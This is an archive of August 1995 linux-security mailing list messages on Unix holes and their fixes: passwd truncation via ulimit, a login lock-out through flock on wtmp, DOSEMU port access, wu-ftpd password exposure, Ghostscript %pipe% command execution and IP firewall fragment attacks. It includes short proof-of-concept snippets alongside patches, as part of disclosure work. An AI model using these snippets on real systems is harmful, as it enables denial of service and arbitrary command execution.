tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA13437; Tue, 8 Aug 1995 16:01:01 -0400 Received: from uucp4.UU.NET by relay3.UU.NET with SMTP id QQzbye07551; Tue, 8 Aug 1995 16:00:44 -0400 Received: from tembel.UUCP by uucp4.UU.NET with UUCP/RMAIL ; Tue, 8 Aug 1995 16:00:37 -0400 Received: by yage.tembel.org (Smail3.1.29.1 #9) id m0sfulS-000DfPC; Tue, 8 Aug 95 19:56 GMT Message-Id: From: [email protected] (Michael Shields) Subject: Re: chfn problem with Linux To: [email protected] (Nick Kralevich) Date: Tue, 8 Aug 1995 19:56:37 +0000 (GMT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Nick Kralevich" at 1995-08-08 08:19:40 X-Dogma: Microsoft is not the answer. Microsoft is the question. No is the answer. X-PGP-Finger: [email protected] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 506 Sender: [email protected] Precedence: list [Frank T Lofaro on alt.hackers says you can truncate passwd by setting ulimit -f 0, then running chfn/chsh/passwd] He does not specify what he means by "Linux". The Shadow 3.3.1 suite does not have this hole; it raises the ulimit to 30 000 blocks. There may be race conditions that let you signal the process, or set a low CPU limit, and leave the passwd file in an inconsistent; these are general robustness issues, since these conditions might also be brought out by a badly timed crash. -- Shields. From [email protected] Wed Aug 9 04:14:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA16664; Wed, 9 Aug 1995 04:07:45 -0400 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA13396; Tue, 8 Aug 1995 15:55:40 -0400 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.11/8.6.9) id QAA21184; Tue, 8 Aug 1995 16:02:33 -0400 Date: Tue, 8 Aug 1995 16:02:33 -0400 (EDT) From: Jon Lewis To: Nick Kralevich cc: [email protected], [email protected] Subject: Re: chfn problem with Linux In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: Does anyone have a passwd version for which the ulimit hack actually works? I checked util-linux-1.5 and 2.2, which do bomb out with an unchecked passwd. --okir] On Tue, 8 Aug 1995, Nick Kralevich wrote: > Here's another bad one. > > Set file limit to 0. > run passwd and try to change passwd > > /etc/passwd is empty, and all logins are denied with "Login > incorrect", i.e. one doesn't know what is wrong. > > By setting file limits low can partially truncate /etc/passwd. Maybe I did something wrong, or maybe shadow is smarter, but doing this did not damage the /etc/shadow or /etc/passwd on a shadowed Linux system. luke:/var/homes/admin/jlewis$ ulimit -f 0 luke:/var/homes/admin/jlewis$ ulimit -f 0 luke:/var/homes/admin/jlewis$ passwd Changing password for jlewis Old Password: Enter the new password (minimum of 5 characters) Please use a combination of upper and lower case letters and numbers. New Password: Re-enter new password: luke:/var/homes/admin/jlewis$ ls -l /etc/passwd -rw-r--r-- 1 root root 1099 Aug 8 12:18 /etc/passwd luke:/var/homes/admin/jlewis$ ls -l /etc/shadow -rw-r----- 1 root shadow 829 Aug 8 15:39 /etc/shadow ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ linux-security/1995/linux-security.950812100664 1767 1767 21355 6013166525 17264 0ustar majdommajdomFrom [email protected] Sat Aug 12 14:04:25 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA02248; Sat, 12 Aug 1995 13:43:46 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA16677; Wed, 9 Aug 1995 04:07:59 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sg6Aa-0005AxC; Wed, 9 Aug 95 10:07 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sg5sw-00000FC; Wed, 9 Aug 95 09:49 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: passwd problem To: [email protected] Date: Wed, 9 Aug 1995 09:49:05 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1493 Sender: [email protected] Precedence: list Hello, I just came across a problem with the passwd command in utils-2.2. When updating a user entry, it basically copies the passwd file to ptmp line by line, and replaces the user's line if it thinks it had found it. The problem is it just checks whether the line starts with the user name. So if you change the password of user `www', you will completely wipe out the entry for `wwwadmin'. Older versions of passwd do not suffer from this problem, and according to Rik Faith, it's fixed in the latest version (2.4). Cheers Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Sat Aug 12 14:04:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA02305; Sat, 12 Aug 1995 13:44:52 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA20033; Wed, 9 Aug 1995 13:43:02 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA09407; Wed, 9 Aug 95 13:42:55 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA04159; Wed, 9 Aug 1995 13:42:47 -0400 Date: Wed, 9 Aug 1995 13:42:47 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: [email protected] Cc: [email protected] In-Reply-To: Olaf Kirch's message of Wed, 9 Aug 1995 00:13:53 +0200 (MET DST), Subject: Re: chfn problem with Linux Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 1953 Sender: [email protected] Precedence: list From: [email protected] (Olaf Kirch) Date: Wed, 9 Aug 1995 00:13:53 +0200 (MET DST) [Quoting from a message forwarded to linux-security by Nick Kralevich] [email protected] (Frank T Lofaro) wrote on alt.hackers: > A poster mentioned here the chfn could be used to hose a linux box. > He didn't say, but it looked like one could hose the system by > killing/suspending chfn right after opening /etc/passwd in truncate > mode. I ran a trace on chfn. This problem affects kill in general. I disagree that this is a problem with kill --- what if there is a system crash right after chfn opens /etc/passwd in truncate mode? This is actually a bug in chfn; a well-written chfn (1) locks /etc/passwd to prevent race condition with other programs that modifies /etc/passwd (2) writes a new copy of the password file to /etc/passwd.new, and then (3) uses the rename(2) system call to atomically move /etc/passwd.new to /etc/passwd. I believe this should be the other way round. Quoting from the HP kill(2) manpage: ``The real or effective uid of the sending process must match the real or saved uid of the receiving process, unless the effective uid of the sending process is super-user.'' However, a comment in Lewine's POSIX book says that killing another process is also allowed when its ruid matches... Well, quoting straight from the source (POSIX.1): "For a process to have permission to send a signal to a process designated by pid, the real or effective user ID of the sending process must match the real or effective user ID of the receiving process, unless the sending process has appropriate privileges [translation: has root privs, or the equivalent if POSIX.6 process priveleges are supported]. If {_POSIX_SAVED_IDS} is defined, the saved set-user-ID of the receiving process shall be checked in place of its effective user ID." (POSIX.1, section 3.3.2.2, lines 591--595) - Ted From [email protected] Sat Aug 12 14:04:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA02318; Sat, 12 Aug 1995 13:45:22 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA20929; Wed, 9 Aug 1995 14:04:08 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id UAA31975 for [email protected]; Wed, 9 Aug 1995 20:03:55 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Another denial-of-service... To: [email protected] Date: Wed, 9 Aug 1995 20:03:55 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1275 Sender: [email protected] Precedence: list While we are at various denial-of-service attacks: there is another one with flock(), found while reading util-linux-2.4/login-utils/login.c - here is the offending piece of code: if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) { flock(wtmp, LOCK_EX); write(wtmp, (char *)&ut, sizeof(ut)); flock(wtmp, LOCK_UN); close(wtmp); } Anyone can get an exclusive lock using flock(fd, LOCK_EX) on any file which can be opened even read-only. I don't know if this is the correct flock semantics or not; the fcntl-style locking requires write access to get an exclusive lock, flock (emulated in libc by using fcntl() with different parameters) doesn't. Just write a trivial program doing something like this: fd = open("/var/adm/wtmp", O_RDONLY); flock(fd, LOCK_EX); pause(); and no one can log in because login will block trying to get exclusive access to wtmp. Kill this process and everything will be fine again. I don't know why login needs exclusive access to wtmp; isn't O_APPEND enough to guarantee atomic writes at end of file? I believe it is, and the two flock calls can be safely removed. If flock does the right thing now, it should not be used to lock any important system files readable by users; use fcntl instead! Marek From [email protected] Sat Aug 12 14:04:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA02262; Sat, 12 Aug 1995 13:44:10 -0400 Received: from koala.scott.net ([email protected] [204.181.147.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id BAA16176; Wed, 9 Aug 1995 01:56:36 -0400 Received: (from dtscott@localhost) by koala.scott.net (8.6.10/8.6.9) id AAA15700; Wed, 9 Aug 1995 00:56:15 -0500 From: Derric Scott Message-Id: <[email protected]> Subject: wu-ftp - visible passwords. To: [email protected] Date: Wed, 9 Aug 1995 00:56:14 -0500 (CDT) Cc: [email protected] (Derric Scott) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1088 Sender: [email protected] Precedence: list [mod: I don't see this as a real problem, but it maight interest some of you nevertheless. Followups to Derric, please. --okir] Hello! Well, I'm not an expert at either of the two programs below, however, I just now saw this and thought I'd be worth comments from others who may know them better: I just unzipped a version of "WS_FTP - WinSock_FTP" for MS-Windows and checked it out. I filled out "anonymous" for the login name, then, like a dummy, stuck my real password in instead of the traditional E-mail address. I forgot about this quickly and started a 2 Meg file download from the Linux box (via modem - a fairly long procedure). Well, imagine my surprise when I did a "ps afux" on the Linux machine and saw my "anonymous/MY_REAL_PASSWORD" out there for anyone to see!!!! My Linux machine is running wu_ftp. Does anyone else see this as a security problem of sorts? Why is the password stuck there at all (and there was no "@" in it)? Are there options to wu_ftp to prevent this behavior?? Is it something the WS_FTP program did? Derric -- Derric Scott Scott Network Services, Inc. P. O. Box 361353 [email protected] (205)987-5889 Birmingham, AL 35236 linux-security/1995/linux-security.950814100664 1767 1767 13736 6013732212 17262 0ustar majdommajdomFrom [email protected] Mon Aug 14 06:39:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id GAA06060; Mon, 14 Aug 1995 06:08:01 -0400 Received: from asuvax.eas.asu.edu (asuvax.EAS.ASU.EDU [129.219.30.6]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA03165; Sat, 12 Aug 1995 15:55:54 -0400 Received: from dspsun (enws261.EAS.ASU.EDU) by asuvax.eas.asu.edu with SMTP id AA18482 (5.65c/IDA-1.4.4 for [email protected]); Sat, 12 Aug 1995 12:51:17 -0700 Received: by dspsun (5.x/SMI-SVR4) id AA24991; Sat, 12 Aug 1995 12:55:22 -0700 Date: Sat, 12 Aug 1995 12:55:22 -0700 Message-Id: <9508121955.AA24991@dspsun> From: "Michael E. Deisher" To: [email protected] Cc: [email protected], [email protected], [email protected] In-Reply-To: ([email protected]) Subject: Re: Security Problem with DOSEMU Sender: [email protected] Precedence: list On Sat, 12 Aug 1995 20:14:37 +0200 (MET DST), [email protected] (Olaf Kirch) said: > Hello all, > Matt Welsh just forwarded me another post by Frank Lofaro. Can > anyone confirm or deny this? I don't even understand what his code's > doing... > Olaf I'll forward your message to the dosemu developers list. However, my understanding is that this is a well known problem with dosemu. Anyone who looks at the dosemu docs knows that it is ALPHA software and that it runs setuid root. ALPHA testers should know up front that they are taking a risk when they run it. It is probably not a good idea to run dosemu (I'm talking about the ALPHA versions) on a machine where a high level of security is required. --Mike From [email protected] Mon Aug 14 06:39:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id GAA06070; Mon, 14 Aug 1995 06:09:38 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA02320; Sat, 12 Aug 1995 13:45:30 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0shKaC-0005BQC; Sat, 12 Aug 95 19:42 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0shL4w-00005HC; Sat, 12 Aug 95 20:14 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Security Problem with DOSEMU To: [email protected] Date: Sat, 12 Aug 1995 20:14:37 +0200 (MET DST) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1294 Sender: [email protected] Precedence: list Hello all, Matt Welsh just forwarded me another post by Frank Lofaro. Can anyone confirm or deny this? I don't even understand what his code's doing... Olaf ------------------------------------------------------------------ > From: [email protected] (Frank T Lofaro) > [1] Serious Linux DOSEMU security hole > Date: Tue Aug 08 03:10:06 EDT 1995 > Organization: University of Nevada, Las Vegas > Lines: 21 > Keywords: Linux, DOSEMU, security hole > > There is a SERIOUS security hole in Linux DOSEMU! > > Even with the administrator turning off all port access, users can > ACCESS ANY PORT THEY WANT! READ/WRITE! Thus can hose things, reboot, > etc. > > Here's how: > > mov ax, 3 > mov bx, start_port > mov cx, number_of_ports > set carry to get access, clear to reliquish access > int 0xe6 > > and there appears to be no way to disable it. > > I am posting more detailed info in comp.os.linux.development.system > > This one seems worse than the rcently mentioned chfn hole. > > ObHack: Finding this security hole when idly perusing the DOSEMU source! > > -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Mon Aug 14 16:39:33 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA09738; Mon, 14 Aug 1995 16:34:23 -0400 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA08151; Mon, 14 Aug 1995 11:18:23 -0400 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.10/8.6.5) with ESMTP id LAA23328; Mon, 14 Aug 1995 11:01:53 -0400 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id LAA16468; Mon, 14 Aug 1995 11:01:52 -0400 Date: Mon, 14 Aug 1995 11:01:52 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: wu-ftp - visible passwords. Cc: [email protected], [email protected] Sender: [email protected] Precedence: list > [mod: I don't see this as a real problem, but it maight interest > some of you nevertheless. Followups to Derric, please. --okir] Okir, Since this is meta-discussion about the problem, rather than discussion about the problem, I'm leaving in the CC to the group, which will happen at your discretion or not anyway. I'm afraid that I must disagree with your evaluation. A person's password is the key to his or her kingdom. This is not a real problem if (a) it only has to do with anonymous FTP, or (b) it only happens on a privately-used machine, where the password is available to the user or users anyway. However, consider the situation where you might have an account on ftp.uu.net, and use it to do some file transfers; and because of that use, I am able to use your account and gain access to something to which I should not have access. In this situation, which perhaps you did not consider, I suggest that there would be a real problem. This is at least as much a problem as any of the other problems with wu-ftp that we've discussed at length. At least, IMHO. Joe Yao [email protected] - Joseph S. D. Yao linux-security/1995/linux-security.950815100664 1767 1767 5637 6014057511 17247 0ustar majdommajdomFrom [email protected] Tue Aug 15 04:48:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA12138; Tue, 15 Aug 1995 04:42:06 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA09786; Mon, 14 Aug 1995 16:41:20 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0si6CE-0005BDC; Mon, 14 Aug 95 22:33 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0si6OQ-00005HC; Mon, 14 Aug 95 22:45 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: wu-ftp - visible passwords. To: [email protected] (Joseph S. D. Yao) Date: Mon, 14 Aug 1995 22:45:53 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at Aug 14, 95 11:01:52 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1837 Sender: [email protected] Precedence: list Joe Yao wrote: > > > [mod: I don't see this as a real problem, but it maight interest > > some of you nevertheless. Followups to Derric, please. --okir] > > I'm afraid that I must disagree with your evaluation. Point taken. I should have been more specific on this. The reason why I believe this is not one of those wu-ftp bugs is that this happens only when the user logs in anonymously. Below's the ps output for an anon session, and a user session: 16511 con S 0:00 -monad.swb.de: anonymous/[email protected]: IDLE 16514 con S 0:00 -monad.swb.de: okir: IDLE I admit that I have been a bit too rash in dismissing the problems a user mistake may cause. If you feel you should protect your users from shooting themselves in the foot, you can either disable this feature altogether by undefining SETPROCTITLE in config.h, or by applying the tiny patch below. It simply adds a little plausibitlity check by making sure there's an at sign in the password before putting it in argv. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------------------------------------------ --- ftpd.c.orig Mon Aug 14 22:28:18 1995 +++ ftpd.c Mon Aug 14 22:41:11 1995 @@ -1197,7 +1197,8 @@ #ifdef SETPROCTITLE sprintf(proctitle, "%s: anonymous/%.*s", remotehost, sizeof(proctitle) - sizeof(remotehost) - - sizeof(": anonymous/"), passwd); + sizeof(": anonymous/"), + strchr(passwd, '@')? passwd : ""); setproctitle("%s", proctitle); #endif /* SETPROCTITLE */ if (logging) ------------------------------------------------------------------ linux-security/1995/linux-security.950822100664 1767 1767 6042 6016452274 17243 0ustar majdommajdomFrom [email protected] Tue Aug 22 18:05:40 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA27333; Tue, 22 Aug 1995 17:40:33 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA26542; Tue, 22 Aug 1995 15:20:17 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0skysC-0005AqC; Tue, 22 Aug 95 21:20 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0skz04-00005AC; Tue, 22 Aug 95 21:28 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Ghostscript problem To: [email protected] Date: Tue, 22 Aug 1995 21:28:40 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2143 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's another problem with ghostscript that makes you vulnerable to attacks via postscript code. Ghostscript has a file type that lets you execute arbitrary commands through the shell. While the -dSAFER option to gs protects you from ordinary file write/rename/removal attacks, it does not check for this special file type. The hole is present in all GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22. The exploit code is disturbingly simple: %!PS- (%pipe%echo spoofed > /tmp/hurz) (r) file quit Below's a fix to gs_init.ps that fixes this. Please also make sure that all programs that use ghostscript set the -dSAFER option. ghostview 1.5 does by default, but version 1.4 does not. I'd suggest you also check your ps printer filter if you print postscript files using gs, and xdvi if you use a version that uses ghostscript to display postscript \special's. I checked only xdvi-20, and it's safe. Olaf PS: Patch follows. PGP will garble initial `-' characters in the patch; make sure to replace `- -' with `-' before applying it. - ------------------------------------------------------------------ - --- gs_init.ps.orig Sun Aug 20 23:22:01 1995 +++ gs_init.ps Sun Aug 20 23:22:46 1995 @@ -302,7 +302,8 @@ % If we want a "safer" system, disable some obvious ways to cause havoc. SAFER not { (%END SAFER) .skipeof } if /file - - { dup (r) eq + { exch dup /..fname exch def exch + dup (r) eq ..fname (%pipe%*) .stringmatch not and { file } { /invalidfileaccess signalerror } ifelse - ------------------------------------------------------------------ - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMDovyOFnVHXv40etAQHzkAP9EXfrBT9AU5TsVOpUgFNSFc3UYf8TnKxb a9ojX27qIXtjAceFjP8G95E5dlwwS3vxPgvhC4SUaL6MPhcBwg/52n8sANIUy0py K1xLU8BaBpKno1ZEJcF+/50WhFU/SqX0hh1bU2hp3K9ez7D+6TAZlo/XdozGpSpH N7mWJ0WjEMU= =bVpO -----END PGP SIGNATURE----- linux-security/1995/linux-security.950823100664 1767 1767 22545 6016720557 17274 0ustar majdommajdomFrom [email protected] Wed Aug 23 10:46:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA01612; Wed, 23 Aug 1995 10:38:58 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de ([email protected] [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id JAA01382; Wed, 23 Aug 1995 09:26:32 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id PAA07359; Wed, 23 Aug 1995 15:27:32 +0200 Message-Id: <[email protected]> Subject: Re: Ghostscript problem To: [email protected] (Olaf Kirch) Date: Wed, 23 Aug 1995 15:27:32 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Olaf Kirch" at Aug 22, 95 09:28:40 pm From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME7a] MIME-Version: 1.0 Content-Type: application/pgp Content-Transfer-Encoding: 7bit Content-Length: 883 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: >I'd >suggest you also check your ps printer filter if you print postscript >files using gs, and xdvi if you use a version that uses ghostscript to >display postscript \special's. I checked only xdvi-20, and it's safe. The xdvi version I use, which identifies itself as 'xdvik version 18b', is definitely unsafe. What other programs are there which invoke gs transparently? - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMDssufBu+cbJcKCVAQH3/QP/Y7Rne36DwYXcD00pSRZAr4p8/NSsL91K vuz9faS0pNTTS33X5CzWs0nswz6mVDvVZu+u8LyqZlD2ecy6T4Pcqy+jwzQ6TdNf u1d+XicYgat7c61pgVmaQ4o6FPKt/zBhIMEh7RpEOoKlQpaSF3QvqwOVCLFIfeq5 ze9tgg5rG1Q= =iy4x -----END PGP SIGNATURE----- From [email protected] Wed Aug 23 10:46:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA01607; Wed, 23 Aug 1995 10:38:48 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id FAA00716; Wed, 23 Aug 1995 05:03:00 -0400 Message-Id: From: [email protected] (System Administrator) Subject: IP firewalling bugs To: [email protected] Date: Wed, 23 Aug 1995 10:24:58 +0100 (BST) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1643 Sender: [email protected] Precedence: list A variety of systems based on the Ugen firewall code (FreeBSD/Linux probably NetBSD) are vulnerable to the following reported attack: Send an IP fragment 0 acceptable to the firewall Send an IP fragment at offset 8 to rewrite most of the header and all the data For Linux at least the IP header should not be vulnerable to overwriting because of the way the fragment merging is done. The following is a provisonal not very tested fix (I only found out about the bug 30 minutes ago). Linux is only vulnerable to tcp/udp header overwriting so host level blocking is unaffected. Because the Ugen firewall is virtually PD a variety of low end routers seem to use it and may also be affected. I will be issuing a tested fix to Linus for 1.2.14 once he returns from sunning himself. [This fix is of course GPL'd and Linux but the BSD fix should be similar and obvious] --- ip_fw.c Thu Jun 29 17:18:52 1995 +++ /tmp/ip_fw.c Wed Aug 23 10:11:22 1995 @@ -209,6 +209,30 @@ */ frag1 = ((ntohs(ip->frag_off) & IP_OFFSET) == 0); + + /* + * Stop any lead fragment attacks (eg sending the IP header + * and then overwriting it with a new fragment). The fragmenter + * works correctly to stop the rest of this attack. + */ + + if(frag1) + { + switch(ip->protocol) + { + case IPPROTO_UDP: + if(ip->ihl<<2+sizeof(struct udphdr) + >ntohs(ip->tot_len)) + return 0; + break; + case IPPROTO_TCP: + if(ip->ihl<<2+sizeof(struct udphdr) + >ntohs(ip->tot_len)) + return 0; + break; + } + } + if (!frag1 && (opt != 1) && (ip->protocol == IPPROTO_TCP || ip->protocol == IPPROTO_UDP)) return(1); From [email protected] Wed Aug 23 17:44:38 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA04184; Wed, 23 Aug 1995 17:39:46 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA02868; Wed, 23 Aug 1995 14:21:44 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0slKQE-0005C1C; Wed, 23 Aug 95 20:21 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0slKxw-00005AC; Wed, 23 Aug 95 20:55 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: Ghostscript problem To: [email protected] Date: Wed, 23 Aug 1995 20:55:56 +0200 (MET DST) In-Reply-To: <[email protected]> from "=?ISO-8859-1?Q?Thomas_K=F6nig?=" at Aug 23, 95 03:27:32 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 918 Sender: [email protected] Precedence: list Thomas Koenig wrote: > What other programs are there which invoke gs transparently? I just grepped my xv-3.00 binary, and found that it invokes /usr/bin/gs somewhere. A grep for SAFER turned up -- nothing. Does anyone volunteer to draw up a list of programs that use gs? Here's a start, off the top of my head: * ghostview. 1.4 is vulnerable, 1.5 is not. * Web browsers: Mosaic, netscape, etc. Most seem to invoke ghostview directly. * metamail. * Your postscript printer filter, if you use one. * xdvi (v20 is safe) * xdvi-k (18f is latest, and still lists -safer in the TODO section). * xv (3.0 seems to be vulnerable). * xfig. (3.1.3 is safe, don't know about earlier versions). Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Wed Aug 23 17:45:04 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA04180; Wed, 23 Aug 1995 17:39:40 -0400 Received: from amsu01.AMS.Med.Uni-Goettingen.DE ([email protected] [134.76.140.91]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA02883; Wed, 23 Aug 1995 14:24:06 -0400 Received: by amsu01.AMS.Med.Uni-Goettingen.DE (Smail3.1.29.1 #2) id m0slKT1-0000HBC; Wed, 23 Aug 95 20:23 MESZ Date: Wed, 23 Aug 1995 20:23:55 +0200 (MEZ) From: Lutz Pressler Reply-To: [email protected] To: [email protected] cc: [email protected], [email protected], [email protected] Subject: Re: Ghostscript problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hello, On Tue, 22 Aug 1995, Olaf Kirch wrote: > There's another problem with ghostscript that makes you vulnerable to > attacks via postscript code. Ghostscript has a file type that lets you > execute arbitrary commands through the shell. While the -dSAFER option > to gs protects you from ordinary file write/rename/removal attacks, it > does not check for this special file type. [...] > Please also make sure that all programs that use ghostscript set the -dSAFER > option. ghostview 1.5 does by default, but version 1.4 does not. I'd > suggest you also check your ps printer filter if you print postscript > files using gs, and xdvi if you use a version that uses ghostscript to > display postscript \special's. I checked only xdvi-20, and it's safe. xdvi-18 (and xdvik 18d?), which is quite commonly used, is not. As you cannot be sure who uses gs in which situations (calling it manually, using distributed scripts,...) I asked myself who needs the file access functionality etc anyway. Is there any "normal" postscript application which uses those? I don't know any. That's why I set "-dSAFER" once and for all on our systems here. This is quite easily possible whithout recompiling: In {$GS_LIB}/gs_init.ps comment out those two line which implement the "if SAFER" condition: SAFER not { (%END SAFER) .skipeof } if and %END SAFER (put "% " (without ", of course) in front of them), or simply delete them. That should prohibit such kind of attacks. Regards, Lutz -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMDtyEk8rRJEuvpUdAQHZZwQAsmxcjaYIMRu2JpmV6kXDAWn/FKXdu0yv ghqAkaPBo5IebMGjOoOBqnBZtGq6PbDJes1W+Q8lV79FgqIPj6QQV7GcpIpaaW43 PB2IFO3gULTpAp1aWIvTVX4f+vg1NpmPxM5KebxYPkcgAAjQDEsni3sckjepgkQ+ Bf6+fXEAMB8= 